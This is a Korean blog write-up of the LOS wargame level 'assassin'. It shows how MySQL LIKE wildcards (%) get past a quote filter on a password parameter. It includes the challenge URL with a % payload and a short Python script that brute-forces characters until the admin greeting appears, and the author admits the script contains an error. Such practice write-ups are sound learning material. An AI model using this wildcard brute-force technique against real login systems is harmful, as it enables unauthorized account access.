cgy12306
[LOS] assassin 본문
코드를 보면 GET으로 받아온 pw는 '(작은따옴표)가 필터링 되어 있다.
mysql에서 like를 사용할 때 %를 사용할 수 있다.
%는 문자열의 길이와 상관없이 모든 글자를 의미한다.
예를 들어 %A로 입력을 하면 맨 끝의 글자가 A가 있어야하는 조건이 되는것이다.
%A%로 입력하게 되면, 해당 문자열에 A가 포함만 되어 있으면 된다는 조건이다.
https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=%
pw에 %를 집어넣었더니 Hello guest가 뜬다.
만약 guest와 admin의 비밀번호가 한 글자만이라도 겹치지 않는다면 %와 % 사이에 임의의 글자를 넣어주는 코드를 돌리면 Hello admin이 뜨지 않을까하고 코드를 작성해봤다.
import requests
arry=[]
cookies = {'__cfduid': '', 'PHPSESSID' : ''}
for k in range(1,9):
for j in range(32,127):
res = requests.get(url='https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=%'+str(j)+'%' ,cookies=cookies)
if 'Hello admin' in res.text:
print(k,' : ', j, "O")
arry.append(chr(int(str(j),16)))
break
else:
print(k,' : ' , j, "X")
print(arry)
사실 이 코드는 ASCII 코드를 비교하는 코드여서 잘못 작성한건데 결과물이 출력이 되었다.
이게 될리가 없는데 0라고 떠서 파싱을 해봤다.
ASSASSIN Clear가 떴다. 일단 클리어는 하긴했는데 찝찝해서 다른 사람들의 라이트업을 봤다.
사용자 테이블에 맨 위에 guest가 들어가 있고, 그 다음줄에 admin이 들어가있는 형태라고 한다. 그래서 비밀번호가 첫째 글자부터 겹치기 때문에 Hello guest가 뜬다고 한다.
또 궁금한점은 위에 코드를 보면 pw=%32%로 들어가게되면 %32를 url 디코딩하게 되어 pw=2%로 바뀌어야 하는데 바뀌지 않고 들어간다는 점이다.
==> python에서 url로 값을 넘겨줄때 %를 %25로 인코딩해서 넘겨준다고 한다.
'Wargame > LOS' 카테고리의 다른 글
[LOS] succubus (0) | 2019.08.30 |
---|---|
[LOS] zombie_assassin (0) | 2019.08.30 |
[LOS] giant (0) | 2019.08.23 |
[LOS] bugbear (0) | 2019.08.23 |
[LOS] darkknight (0) | 2019.08.23 |
Comments